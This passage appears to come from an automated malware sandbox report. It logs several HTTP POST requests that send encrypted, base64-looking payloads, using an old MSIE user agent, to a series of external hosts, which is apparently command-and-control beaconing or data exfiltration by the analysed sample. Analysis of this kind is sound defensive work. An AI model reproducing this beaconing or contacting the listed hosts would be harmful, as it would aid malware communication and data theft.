31 56 2f 53 57 79 5a 58 4a 71 71 78 63 6b 4a 67 6b 36 53 50 75 34 4d 7a 44 61 70 32 48 72 63 71 31 69 50 46 30 4f 56 55 47 48 32 72 43 63 52 63 64 5a 33 4d 54 33 59 59 31 67 31 62 53 6c 61 48 49 58 61 64 61 4b 75 2b 54 44 77 4e 74 58 41 32 31 67 71 6f 6e 62 78 76 50 56 4c 4a 62 4d 36 37 33 4f 38 50 69 5a 67 48 7a Data Ascii: rKyGil0vXvbKR0lBlGkr5pbb2nsLQv344bUE2wyYATzk8KC8DuuGqrNbdM7HQ+DE94pXlh+ABOtrJlhO/cgrEA8dEA2cf88pfIMfKLw0kHqzRBodcAd5JemQ89yHhAbbBTZnG+kIv5pXC/c1H9uGHDcmG2CfNEJFEOa46pWyR4W9PbUe2sLW8INe3107UvQSbaTmLcjNyfHHRRxDjFTRYiINdOS+lfpBkJZAcpsjpeWDY93zX7zfO+h8ryvjXMrEOayqzlQsp+AeigW+AvbliVzi7pXzS/5qfSVygREyXpU3LbTEfDDVuhZ4NeR5t2Eva6Jlf09HDrakJoU/bTuEwq1EaRJ0x0b0P+VkhyYogshmgB1IY2kDaBKrwHKEJJw0Ccny65+rjB9uFEIuTrmBtb3hIqZ3R2q25YRCaXlzW4iBSFK1V/SWyZXJqqxckJgk6SPu4MzDap2Hrcq1iPF0OVUGH2rCcRcdZ3MT3YY1g1bSlaHIXadaKu+TDwNtXA21gqonbxvPVLJbM673O8PiZgHz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nunomira.comCache-Control: no-cacheData Raw: 4e 38 65 72 52 48 44 75 34 50 62 50 37 33 65 33 67 36 2f 4c 72 53 50 54 2f 55 38 59 64 76 6a 5a 70 4e 52 33 47 67 6f 5a 43 75 4f 59 69 79 71 62 71 72 49 78 31 7a 6f 4a 4f 69 6e 65 48 50 2b 39 4a 53 72 62 52 6b 4e 54 75 2b 4c 65 6f 6d 2b 32 33 71 2f 67 4a 77 4e 79 6a 4c 77 6e 6d 44 66 43 54 33 50 62 65 66 38 33 69 6d 5a 55 6f 69 2f 49 74 77 37 49 69 32 35 6d 53 6d 47 73 4d 30 43 48 31 4f 47 31 46 4e 50 5a 35 48 77 76 49 45 46 2f 74 48 46 54 39 56 45 48 58 4c 4f 6f 62 38 6d 66 34 4c 77 49 48 63 50 48 36 74 35 62 7a 45 79 76 4c 5a 48 36 4b 30 4f 30 59 69 32 36 78 2f 4e 67 56 54 70 34 77 48 63 5a 50 79 32 46 79 41 62 48 50 31 54 33 71 52 79 30 64 4a 36 5a 75 76 2b 6d 69 65 37 48 6d 62 74 56 4d 79 4e 6f 67 56 6c 73 5a 30 45 38 39 4c 44 38 34 46 4b 59 56 63 45 2f 52 30 62 39 37 4c 6d 5a 43 65 76 74 48 51 38 52 51 6a 41 53 34 43 71 75 4b 30 6d 7a 74 39 46 75 71 65 53 68 48 4f 5a 48 7a 45 48 33 56 6e 46 6b 68 56 68 6d 31 77 67 45 55 67 44 74 51 33 74 49 61 77 7a 62 72 6d 31 30 4c 6b 69 6e 76 47 6b 6a 44 73 6d 4b 58 37 4b 2b 61 61 36 4a 6c 57 4f 36 6a 59 72 6c 53 78 77 64 73 36 61 33 58 38 6b 51 37 55 59 55 53 68 4c 37 30 6c 69 36 43 56 55 49 46 2f 53 6a 55 35 5a 4a 4d 57 4d 6d 55 73 63 4a 4d 4a 77 4b 52 76 49 70 43 51 67 54 35 69 55 4e 6b 2f 2b 31 52 50 65 33 66 63 2f 4e 2b 77 67 4f 37 7a 68 63 2f 41 6f 6c 73 73 58 51 64 44 36 33 73 6b 63 53 68 79 43 79 70 73 68 46 56 5a 30 54 47 52 53 5a 54 74 2f 2f 6e 48 43 61 2f 32 69 6a 33 2f 34 53 52 34 63 46 7a 76 59 67 73 62 38 4b 49 5a 43 59 6e 61 6b 5a 75 35 65 7a 4d 4c 70 5a 59 66 31 71 64 4c 6e 73 32 55 73 5a 55 63 2f 77 47 52 4c 45 39 74 56 4e 48 52 58 72 50 46 38 63 43 56 68 4f 4a 76 34 6c 36 66 52 62 6d 41 56 4e 65 39 37 52 63 53 6d 43 66 6a 6e 4d 63 78 78 35 56 74 56 30 67 79 44 46 Data Ascii: N8erRHDu4PbP73e3g6/LrSPT/U8YdvjZpNR3GgoZCuOYiyqbqrIx1zoJOineHP+9JSrbRkNTu+Leom+23q/gJwNyjLwnmDfCT3Pbef83imZUoi/Itw7Ii25mSmGsM0CH1OG1FNPZ5HwvIEF/tHFT9VEHXLOob8mf4LwIHcPH6t5bzEyvLZH6K0O0Yi26x/NgVTp4wHcZPy2FyAbHP1T3qRy0dJ6Zuv+mie7HmbtVMyNogVlsZ0E89LD84FKYVcE/R0b97LmZCevtHQ8RQjAS4CquK0mzt9FuqeShHOZHzEH3VnFkhVhm1wgEUgDtQ3tIawzbrm10LkinvGkjDsmKX7K+aa6JlWO6jYrlSxwds6a3X8kQ7UYUShL70li6CVUIF/SjU5ZJMWMmUscJMJwKRvIpCQgT5iUNk/+1RPe3fc/N+wgO7zhc/AolssXQdD63skcShyCypshFVZ0TGRSZTt//nHCa/2ij3/4SR4cFzvYgsb8KIZCYnakZu5ezMLpZYf1qdLns2UsZUc/wGRLE9tVNHRXrPF8cCVhOJv4l6fRbmAVNe97RcSmCfjnMcxx5VtV0gyDF
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.petsfan.comCache-Control: no-cacheData Raw: 33 79 4f 6f 6c 4b 61 57 79 76 61 6a 2f 4f 63 73 51 62 33 30 4d 73 6c 47 67 64 2b 47 53 65 2f 4f 4f 74 55 65 54 48 54 59 67 34 6d 4b 46 6d 58 4b 6c 44 7a 47 76 7a 54 49 57 46 2b 61 43 59 74 55 73 32 4b 55 6f 2f 4c 56 6b 64 5a 48 49 35 38 2b 4e 32 73 37 67 44 54 55 48 44 32 41 5a 4d 48 4a 75 2b 78 74 4e 51 54 4f 55 42 4b 4c 61 4a 34 6e 49 64 63 70 36 6f 72 36 6b 6f 59 35 30 57 6d 47 45 76 6b 71 50 75 49 4c 57 55 66 66 67 61 47 72 42 6b 65 6a 64 7a 52 39 69 78 37 66 51 78 57 5a 45 70 63 61 4b 45 6f 33 56 56 46 31 54 39 79 73 38 7a 6b 44 57 77 37 47 6c 6b 63 71 73 72 31 36 6f 67 70 69 30 4f 4a 35 6b 30 65 41 2b 30 48 47 4d 30 59 6d 47 4d 49 49 4b 33 6c 66 71 31 36 76 4e 57 31 69 41 52 5a 45 4a 49 77 41 53 67 32 6d 4d 49 6a 58 53 4d 6a 30 4e 44 2f 4a 41 52 43 52 2f 2f 6e 7a 74 6c 31 67 4c 52 64 33 53 57 42 72 6a 65 66 64 5a 6f 4d 6a 50 61 42 71 33 4e 50 5a 6d 30 7a 4a 2f 47 36 57 52 68 63 44 55 50 6f 75 74 63 72 61 38 6a 36 73 42 30 37 50 36 48 58 58 4a 6f 64 71 33 42 43 65 4e 75 74 66 36 2b 4d 2f 50 50 73 39 66 59 6e 6b 74 4c 6f 57 47 55 46 6d 4c 6c 55 43 64 7a 52 56 6c 67 67 4e 33 67 37 66 74 73 31 51 6a 34 65 53 64 2f 35 4e 42 6f 6d 53 57 6b 57 2f 66 35 73 44 4b 66 64 74 6a 2b 79 67 7a 50 50 76 6f 78 41 47 4f 35 4f 4b 76 75 39 34 50 59 73 6d 39 2b 67 47 53 57 43 6a 44 56 76 55 34 67 75 45 59 39 46 32 66 55 50 70 77 35 4e 49 6f 78 6c 56 52 55 48 64 6b 59 77 57 4e 54 56 59 77 67 70 36 2f 36 4a 56 64 67 4e 47 67 69 35 59 74 79 4b 41 78 44 6b 7a 67 73 76 5a 75 33 61 72 6a 54 4b 47 70 50 55 51 48 53 65 38 6f 4f 33 44 57 36 4e 70 68 62 31 58 68 69 42 63 56 46 72 54 6f 57 51 4a 59 50 72 41 58 35 46 66 43 37 48 34 2f 30 74 70 32 2b 34 6c 4b 52 6a 68 64 47 54 69 55 36 68 4f 34 61 38 53 50 5a 79 39 67 30 48 42 52 70 48 34 74 48 44 6c 50 4c 49 3d Data Ascii: 3yOolKaWyvaj/OcsQb30MslGgd+GSe/OOtUeTHTYg4mKFmXKlDzGvzTIWF+aCYtUs2KUo/LVkdZHI58+N2s7gDTUHD2AZMHJu+xtNQTOUBKLaJ4nIdcp6or6koY50WmGEvkqPuILWUffgaGrBkejdzR9ix7fQxWZEpcaKEo3VVF1T9ys8zkDWw7Glkcqsr16ogpi0OJ5k0eA+0HGM0YmGMIIK3lfq16vNW1iARZEJIwASg2mMIjXSMj0ND/JARCR//nztl1gLRd3SWBrjefdZoMjPaBq3NPZm0zJ/G6WRhcDUPoutcra8j6sB07P6HXXJodq3BCeNutf6+M/PPs9fYnktLoWGUFmLlUCdzRVlggN3g7fts1Qj4eSd/5NBomSWkW/f5sDKfdtj+ygzPPvoxAGO5OKvu94PYsm9+gGSWCjDVvU4guEY9F2fUPpw5NIoxlVRUHdkYwWNTVYwgp6/6JVdgNGgi5YtyKAxDkzgsvZu3arjTKGpPUQHSe8oO3DW6Nphb1XhiBcVFrToWQJYPrAX5FfC7H4/0tp2+4lKRjhdGTiU6hO4a8SPZy9g0HBRpH4tHDlPLI=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tvtools.fiCache-Control: no-cacheData Raw: 34 46 31 62 58 30 74 68 6b 50 64 79 6d 6a 78 72 6f 73 62 61 31 62 52 56 2f 35 32 52 37 51 57 51 72 37 2f 2b 79 72 56 46 4e 62 45 77 59 6a 6b 52 65 35 6f 4e 46 44 48 62 6d 70 71 4d 56 6e 79 2f 70 42 76 70 64 4b 68 4f 69 59 49 5a 43 76 64 70 4a 37 64 45 37 63 61 41 47 6e 57 51 4e 34 4e 6c 76 78 58 70 37 30 58 49 47 54 6a 57 6b 6a 75 5a 53 75 4d 59 45 48 6d 69 6b 69 30 58 64 39 37 49 55 7a 54 67 79 58 32 68 4c 50 72 42 51 48 57 46 47 54 36 49 46 72 75 56 6f 4f 79 38 4c 31 43 4b 52 65 47 6b 4a 6b 72 6a 37 65 49 78 4f 46 41 31 56 6d 68 72 78 75 41 44 70 72 4c 51 76 66 58 33 39 66 67 6a 61 6f 65 55 74 65 57 75 62 2f 52 44 43 2f 6b 2b 33 75 37 73 2b 65 53 41 49 47 49 48 69 66 49 67 6f 43 5a 66 74 37 63 72 50 37 51 6e 6c 7a 65 62 6d 4b 72 6b 32 6d 33 41 50 79 45 78 38 30 6c 36 57 6c 6d 64 64 57 38 6b 4a 45 64 71 46 74 36 59 66 42 30 78 78 2f 62 64 46 43 65 31 2b 59 32 6e 4c 6e 79 6f 61 43 6a 66 72 6b 48 34 77 41 56 43 63 42 49 50 79 31 52 38 50 57 72 7a 62 38 54 2f 57 79 33 65 39 65 4b 70 56 76 31 56 52 31 66 33 76 42 68 69 45 78 57 39 2f 41 53 6b 36 54 52 53 64 2b 48 70 51 46 56 55 6a 78 49 74 48 6b 47 55 57 74 4c 4a 4e 38 77 33 4a 46 52 4a 78 78 50 72 64 65 6a 36 79 49 46 2f 6d 43 37 79 67 63 6b 6e 2b 76 6d 75 46 65 49 2f 33 2f 69 4a 2b 35 56 45 34 50 77 59 65 55 63 58 58 4c 56 5a 72 71 50 6b 5a 6b 42 65 79 7a 33 66 4f 4c 4a 55 68 49 2f 4e 75 74 5a 33 68 30 37 5a 32 48 31 49 46 41 76 6b 50 4f 2b 6f 42 65 50 70 78 4c 53 64 68 70 6f 6a 33 6c 31 74 79 53 6f 51 41 6e 2f 67 53 59 59 47 4d 4b 72 2b 6c 48 73 52 52 45 4e 78 56 6d 53 36 38 37 4f 78 31 72 4c 6e 65 69 51 71 44 42 66 69 46 61 57 6c 33 46 32 63 4a 38 43 4b 45 65 6b 7a 79 7a 42 4e 44 6b 72 78 63 75 50 35 54 59 48 56 73 35 52 67 46 50 63 4e 63 57 77 6f 72 67 54 65 4b 35 4e 50 6d 59 44 76 50 46 5a 6f 49 42 45 4e 2f 77 3d 3d Data Ascii: 4F1bX0thkPdymjxrosba1bRV/52R7QWQr7/+yrVFNbEwYjkRe5oNFDHbmpqMVny/pBvpdKhOiYIZCvdpJ7dE7caAGnWQN4NlvxXp70XIGTjWkjuZSuMYEHmiki0Xd97IUzTgyX2hLPrBQHWFGT6IFruVoOy8L1CKReGkJkrj7eIxOFA1VmhrxuADprLQvfX39fgjaoeUteWub/RDC/k+3u7s+eSAIGIHifIgoCZft7crP7QnlzebmKrk2m3APyEx80l6WlmddW8kJEdqFt6YfB0xx/bdFCe1+Y2nLnyoaCjfrkH4wAVCcBIPy1R8PWrzb8T/Wy3e9eKpVv1VR1f3vBhiExW9/ASk6TRSd+HpQFVUjxItHkGUWtLJN8w3JFRJxxPrdej6yIF/mC7ygckn+vmuFeI/3/iJ+5VE4PwYeUcXXLVZrqPkZkBeyz3fOLJUhI/NutZ3h07Z2H1IFAvkPO+oBePpxLSdhpoj3l1tySoQAn/gSYYGMKr+lHsRRENxVmS687Ox1rLneiQqDBfiFaWl3F2cJ8CKEekzyzBNDkrxcuP5TYHVs5RgFPcNcWworgTeK5NPmYDvPFZoIBEN/w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.evcpa.comCache-Control: no-cacheData Raw: 6c 57 47 55 63 59 54 70 71 66 63 58 4d 38 45 54 6e 32 66 2b 55 46 66 44 52 73 65 38 59 48 56 74 2b 42 5a 51 52 7a 76 69 4c 74 76 58 6a 69 46 39 70 50 6c 4b 4f 34 47 69 45 45 6f 45 45 68 49 6c 55 78 6e 37 6f 30 4e 75 65 2b 42 78 35 6b 31 78 50 51 4d 47 6e 49 49 79 41 50 44 59 6b 55 36 78 65 33 59 38 49 64 4f 4a 61 78 35 75 47 76 67 2b 51 64 49 56 6f 33 58 2b 57 67 79 44 72 41 51 34 61 77 4a 54 56 6e 7a 77 38 47 63 35 7a 4c 44 42 63 39 77 47 37 6c 64 2b 48 2b 6c 49 47 47 33 67 79 47 6b 45 33 47 6a 77 47 68 44 43 58 31 4b 4f 32 36 69 64 48 76 78 49 43 41 58 6f 70 6f 38 65 66 67 43 61 74 77 76 54 6b 64 4c 6a 37 45 67 43 6c 56 69 72 75 64 62 6b 2b 53 72 74 77 6a 4c 34 71 46 4f 33 38 65 41 35 64 2b 55 56 48 79 38 6f 79 79 63 77 2b 7a 43 41 64 4d 54 6b 7a 6a 41 73 66 79 57 69 66 76 77 31 58 56 72 36 55 7a 48 2f 68 71 4a 4d 73 39 67 42 41 47 61 31 42 4a 34 4e 36 66 72 79 73 31 34 33 42 2f 70 59 42 42 47 48 4a 45 4c 4a 46 4b 64 6f 65 4c 62 70 38 38 63 72 39 77 74 58 4a 50 32 4e 43 5a 39 2f 46 42 72 34 6b 73 42 56 58 4e 33 79 4f 56 6f 69 41 54 38 31 68 4f 51 76 62 57 42 46 6a 67 73 37 31 34 55 38 2b 39 63 79 59 78 34 39 36 38 72 7a 65 6a 2b 59 48 64 4e 78 39 76 70 56 6b 62 6c 35 50 65 34 35 58 65 77 4f 6d 75 48 44 50 73 70 65 47 53 38 4d 72 6d 68 62 69 2b 6a 4b 32 6a 6a 75 58 52 2f 4e 61 63 75 73 6d 62 73 50 66 7a 4e 31 71 67 54 52 78 78 31 41 6c 57 64 79 48 6c 49 74 34 57 52 73 48 73 6d 30 7a 65 61 59 4a 6a 79 66 44 6a 64 30 4b 58 70 31 5a 6d 37 55 71 6e 6c 75 2f 66 56 79 75 4d 59 56 58 4f 36 7a 64 61 4c 30 38 34 6e 49 46 77 41 52 57 49 70 2f 55 41 64 36 45 6f 43 49 52 61 79 36 55 6f 6d 76 6e 46 6f 36 6f 35 2f 70 30 33 55 4f 2f 71 44 57 57 7a 69 79 76 31 2f 66 37 6f 53 41 48 37 32 67 39 51 2f 69 52 79 50 61 69 50 4d 6e 77 74 58 50 4e 30 45 38 43 63 45 41 54 55 79 2b Data Ascii: lWGUcYTpqfcXM8ETn2f+UFfDRse8YHVt+BZQRzviLtvXjiF9pPlKO4GiEEoEEhIlUxn7o0Nue+Bx5k1xPQMGnIIyAPDYkU6xe3Y8IdOJax5uGvg+QdIVo3X+WgyDrAQ4awJTVnzw8Gc5zLDBc9wG7ld+H+lIGG3gyGkE3GjwGhDCX1KO26idHvxICAXopo8efgCatwvTkdLj7EgClVirudbk+SrtwjL4qFO38eA5d+UVHy8oyycw+zCAdMTkzjAsfyWifvw1XVr6UzH/hqJMs9gBAGa1BJ4N6frys143B/pYBBGHJELJFKdoeLbp88cr9wtXJP2NCZ9/FBr4ksBVXN3yOVoiAT81hOQvbWBFjgs714U8+9cyYx4968rzej+YHdNx9vpVkbl5Pe45XewOmuHDPspeGS8Mrmhbi+jK2jjuXR/NacusmbsPfzN1qgTRxx1AlWdyHlIt4WRsHsm0zeaYJjyfDjd0KXp1Zm7Uqnlu/fVyuMYVXO6zdaL084nIFwARWIp/UAd6EoCIRay6UomvnFo6o5/p03UO/qDWWziyv1/f7oSAH72g9Q/iRyPaiPMnwtXPN0E8CcEATUy+
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.credo.edu.plCache-Control: no-cacheData Raw: 35 76 4c 4b 6f 59 59 31 42 66 65 48 77 6d 4f 50 6f 51 38 63 46 61 6d 6b 54 50 6a 6d 4d 53 4b 70 47 69 71 4f 53 76 68 63 70 75 4b 31 78 61 75 46 34 52 75 63 6f 6d 69 41 62 42 45 38 42 7a 44 64 43 4b 4b 39 6d 63 68 56 65 79 74 52 39 47 49 7a 54 73 79 31 45 56 48 55 41 31 74 32 64 62 30 36 31 61 64 35 43 68 6d 2f 72 66 53 73 37 72 36 4d 4a 68 6f 70 38 44 50 56 72 33 47 53 39 65 34 5a 6b 51 44 67 5a 51 46 6c 2b 51 53 5a 2b 65 68 43 4d 74 55 32 53 44 37 51 58 6b 64 37 6a 36 51 58 58 49 53 73 55 6b 2f 58 75 30 75 30 49 2f 77 6e 42 55 54 34 72 6b 37 46 44 43 33 39 74 2f 50 68 43 53 57 5a 4b 48 2f 6d 4b 7a 48 61 6a 72 6a 51 47 55 32 65 4e 69 38 71 61 47 47 71 56 41 56 34 72 4d 57 36 73 75 35 32 36 54 43 4d 33 77 65 32 2f 6e 49 35 53 4b 6b 73 73 2f 6b 74 4e 67 2b 67 70 2b 54 31 54 61 37 37 73 52 4b 4d 32 6e 79 73 48 66 37 7a 45 39 75 33 46 45 6e 2b 31 71 6c 6d 4b 62 31 63 32 32 4c 76 56 74 30 4a 32 63 7a 4f 4f 38 39 69 71 76 67 79 44 42 65 6d 61 46 6d 4d 42 45 65 57 44 55 39 55 75 34 57 66 5a 48 6e 38 65 73 34 66 36 35 6f 4a 49 6f 78 34 4c 6e 7a 53 53 57 6f 58 72 39 73 38 38 42 55 33 65 78 73 35 53 7a 4f 6f 32 6b 6a 55 30 4f 67 75 74 43 78 6d 4d 6c 71 32 30 45 79 54 37 34 64 33 39 51 65 4a 31 51 74 62 71 57 4e 6f 6e 47 4d 6b 4c 55 5a 6c 6f 62 2b 52 4d 50 52 38 77 32 31 47 6b 6d 64 49 37 36 61 33 35 56 59 4f 72 33 31 42 52 69 31 6a 57 54 7a 51 34 45 4d 42 4e 6e 55 67 58 70 33 5a 51 7a 4f 47 76 4d 5a 49 69 4b 6f 58 6f 6a 4c 75 4c 36 61 41 74 4e 57 31 49 62 34 73 42 39 52 6d 4f 46 32 76 4d 77 69 39 58 70 38 2f 34 72 30 43 6c 36 65 75 5a 5a 38 6e 61 79 79 42 68 52 79 59 44 69 48 77 65 58 4c 48 58 35 47 4a 4e 4a 7a 48 57 50 54 66 4b 67 6d 67 78 49 4e 66 4c 54 6a 47 77 59 73 3d Data Ascii: 5vLKoYY1BfeHwmOPoQ8cFamkTPjmMSKpGiqOSvhcpuK1xauF4RucomiAbBE8BzDdCKK9mchVeytR9GIzTsy1EVHUA1t2db061ad5Chm/rfSs7r6MJhop8DPVr3GS9e4ZkQDgZQFl+QSZ+ehCMtU2SD7QXkd7j6QXXISsUk/Xu0u0I/wnBUT4rk7FDC39t/PhCSWZKH/mKzHajrjQGU2eNi8qaGGqVAV4rMW6su526TCM3we2/nI5SKkss/ktNg+gp+T1Ta77sRKM2nysHf7zE9u3FEn+1qlmKb1c22LvVt0J2czOO89iqvgyDBemaFmMBEeWDU9Uu4WfZHn8es4f65oJIox4LnzSSWoXr9s88BU3exs5SzOo2kjU0OgutCxmMlq20EyT74d39QeJ1QtbqWNonGMkLUZlob+RMPR8w21GkmdI76a35VYOr31BRi1jWTzQ4EMBNnUgXp3ZQzOGvMZIiKoXojLuL6aAtNW1Ib4sB9RmOF2vMwi9Xp8/4r0Cl6euZZ8nayyBhRyYDiHweXLHX5GJNJzHWPTfKgmgxINfLTjGwYs=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vazir.seCache-Control: no-cacheData Raw: 48 78 2f 78 58 36 45 47 6f 66 63 71 2b 4c 30 4a 41 47 2f 35 6e 58 70 6e 4e 34 6d 66 64 4c 45 76 5a 66 39 43 42 55 74 78 4d 61 62 64 78 37 6c 71 73 4a 47 53 36 41 64 6e 6b 6c 68 39 77 41 6d 77 4c 48 62 4e 4c 73 65 71 75 75 74 48 51 49 78 4b 73 6a 35 4b 58 55 7a 35 6a 6e 6e 6d 4a 6d 54 39 51 65 6d 55 6b 41 34 52 4a 55 4e 34 76 41 49 4b 4d 63 52 4a 70 53 77 49 78 62 71 71 42 6b 75 70 4e 78 33 5a 4f 39 69 59 73 35 4b 37 50 74 6b 49 77 62 5a 4e 39 48 58 4b 2b 31 6b 69 6a 45 61 64 35 33 62 4d 62 51 43 41 5a 4e 70 6f 32 6b 51 4e 30 4b 45 4f 7a 66 45 73 4c 4d 6c 75 6d 58 4d 67 6d 45 6a 35 64 6a 77 67 64 4d 45 4c 30 79 56 77 51 39 33 4d 6a 56 75 63 6a 47 47 69 68 6b 43 66 53 4e 52 2f 45 74 31 67 31 65 67 69 71 58 48 70 42 6b 4a 75 55 6a 76 2b 72 75 57 35 76 6f 4b 32 72 69 69 61 4f 4e 2b 52 56 48 4a 43 2b 48 73 6a 70 54 67 30 62 4e 49 6a 55 53 53 38 71 77 76 4e 34 54 39 54 4d 52 57 71 4c 71 72 68 70 6f 6b 44 43 33 53 69 66 52 6f 36 53 42 2b 67 6e 4e 63 47 6b 46 62 51 79 44 68 62 31 43 4e 34 74 6c 76 42 4c 54 4e 72 7a 52 68 62 6e 59 75 30 6b 56 79 45 4d 4c 55 47 42 61 53 2f 69 78 34 46 6c 67 43 66 6d 30 51 5a 76 43 6d 50 4c 56 6c 68 67 54 50 32 64 51 68 4c 49 4d 79 62 45 39 6c 4d 6b 71 54 4f 6f 58 64 78 61 6b 75 69 35 4c 38 4f 53 6e 76 49 2b 53 71 49 69 35 36 6f 64 68 58 46 67 2f 5a 6f 7a 58 6e 4e 61 52 37 43 54 44 65 4b 67 64 58 36 33 47 33 52 5a 75 47 75 6b 67 67 42 57 53 69 31 4b 31 44 62 66 61 63 55 74 46 45 56 37 5a 58 6b 39 77 41 54 71 32 54 58 31 2f 6d 70 44 51 63 6a 66 42 4a 79 61 59 78 6e 69 43 70 2b 4a 73 41 67 61 7a 44 43 43 52 7a 59 4c 6b 75 2f 45 4e 30 69 73 69 63 4b 51 52 59 6b 73 74 48 31 62 4f 75 6e 4c 4d 37 4a 4c 54 38 50 6d 32 77 56 Data Ascii: Hx/xX6EGofcq+L0JAG/5nXpnN4mfdLEvZf9CBUtxMabdx7lqsJGS6Adnklh9wAmwLHbNLsequutHQIxKsj5KXUz5jnnmJmT9QemUkA4RJUN4vAIKMcRJpSwIxbqqBkupNx3ZO9iYs5K7PtkIwbZN9HXK+1kijEad53bMbQCAZNpo2kQN0KEOzfEsLMlumXMgmEj5djwgdMEL0yVwQ93MjVucjGGihkCfSNR/Et1g1egiqXHpBkJuUjv+ruW5voK2riiaON+RVHJC+HsjpTg0bNIjUSS8qwvN4T9TMRWqLqrhpokDC3SifRo6SB+gnNcGkFbQyDhb1CN4tlvBLTNrzRhbnYu0kVyEMLUGBaS/ix4FlgCfm0QZvCmPLVlhgTP2dQhLIMybE9lMkqTOoXdxakui5L8OSnvI+SqIi56odhXFg/ZozXnNaR7CTDeKgdX63G3RZuGukggBWSi1K1DbfacUtFEV7ZXk9wATq2TX1/mpDQcjfBJyaYxniCp+JsAgazDCCRzYLku/EN0isicKQRYkstH1bOunLM7JLT8Pm2wV
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nelipak.nlCache-Control: no-cacheData Raw: 36 30 54 31 6e 72 71 6a 7a 50 65 6b 76 64 33 50 58 56 38 35 57 50 30 55 37 2b 34 71 37 6c 66 67 6a 6b 47 49 6d 71 59 42 54 51 50 39 30 48 7a 6e 68 6c 61 52 52 65 59 72 38 46 46 4a 6b 38 57 53 2b 66 33 2f 65 32 53 31 70 4b 4c 7a 68 30 45 71 70 75 47 62 59 30 4f 41 6e 51 77 42 54 44 30 54 61 66 38 41 45 72 2f 42 75 75 41 41 46 42 6b 64 4b 65 49 39 79 71 79 38 76 46 7a 74 79 59 45 46 52 59 45 33 4c 71 73 35 38 77 4c 63 51 55 68 73 62 48 49 72 37 49 70 35 73 7a 56 6a 6f 4d 48 77 34 78 54 69 51 34 65 71 48 47 73 44 79 6d 70 57 59 51 70 44 64 2b 58 62 45 65 4d 49 31 62 49 4b 6d 70 47 79 61 6e 46 35 2b 50 4c 72 72 54 54 6c 76 5a 6e 67 79 33 75 71 71 70 31 6e 6b 65 35 35 4e 65 59 47 53 36 68 42 7a 67 73 62 6b 79 38 2f 71 31 33 73 34 43 32 32 32 58 50 6d 46 71 5a 68 65 54 74 6d 49 30 49 52 72 2f 2f 34 4b 51 79 68 51 72 49 61 72 4a 32 64 54 4a 72 61 4d 32 36 44 69 57 43 36 61 45 5a 74 74 6a 47 32 56 58 75 53 70 6a 45 78 4f 6e 31 71 4a 33 70 54 4a 67 49 6b 79 46 6e 55 54 49 72 6c 67 37 31 50 54 37 4b 33 68 62 59 4c 41 35 35 58 57 56 4a 58 4a 5a 69 4f 62 65 72 69 5a 67 34 73 59 4c 66 33 61 67 4b 57 45 4b 71 4a 47 44 43 75 76 65 56 35 50 43 35 48 78 6c 49 76 6d 71 42 54 31 5a 4d 37 38 48 31 53 4d 77 6a 70 6f 2b 61 4c 4d 6c 62 6b 32 65 57 7a 71 47 6b 63 62 44 38 42 37 65 41 63 31 6a 61 46 62 32 45 77 68 70 4f 54 77 78 74 58 39 55 65 6e 44 4e 31 52 66 6f 50 68 7a 72 69 55 77 6d 34 61 54 6d 73 77 70 35 46 7a 4a 6f 76 30 75 4f 76 41 59 6b 50 4a 64 4c 65 66 30 52 30 69 64 7a 2f 33 47 31 42 4d 6c 57 4b 48 47 4e 5a 62 33 74 47 31 77 74 46 64 2b 4e 50 45 59 48 71 45 7a 52 53 57 66 4d 75 2b 49 54 5a 51 37 61 55 4f 56 71 34 6b 33 61 59 33 57 59 69 44 69 57 67 65 42 65 32 65 58 75 58 6d 30 2b 58 2f 32 69 46 62 54 48 68 43 50 4b 7a 77 77 67 6f 65 35 46 6a 4f 37 62 52 56 34 75 44 66 Data Ascii: 60T1nrqjzPekvd3PXV85WP0U7+4q7lfgjkGImqYBTQP90HznhlaRReYr8FFJk8WS+f3/e2S1pKLzh0EqpuGbY0OAnQwBTD0Taf8AEr/BuuAAFBkdKeI9yqy8vFztyYEFRYE3Lqs58wLcQUhsbHIr7Ip5szVjoMHw4xTiQ4eqHGsDympWYQpDd+XbEeMI1bIKmpGyanF5+PLrrTTlvZngy3uqqp1nke55NeYGS6hBzgsbky8/q13s4C222XPmFqZheTtmI0IRr//4KQyhQrIarJ2dTJraM26DiWC6aEZttjG2VXuSpjExOn1qJ3pTJgIkyFnUTIrlg71PT7K3hbYLA55XWVJXJZiOberiZg4sYLf3agKWEKqJGDCuveV5PC5HxlIvmqBT1ZM78H1SMwjpo+aLMlbk2eWzqGkcbD8B7eAc1jaFb2EwhpOTwxtX9UenDN1RfoPhzriUwm4aTmswp5FzJov0uOvAYkPJdLef0R0idz/3G1BMlWKHGNZb3tG1wtFd+NPEYHqEzRSWfMu+ITZQ7aUOVq4k3aY3WYiDiWgeBe2eXuXm0+X/2iFbTHhCPKzwwgoe5FjO7bRV4uDf
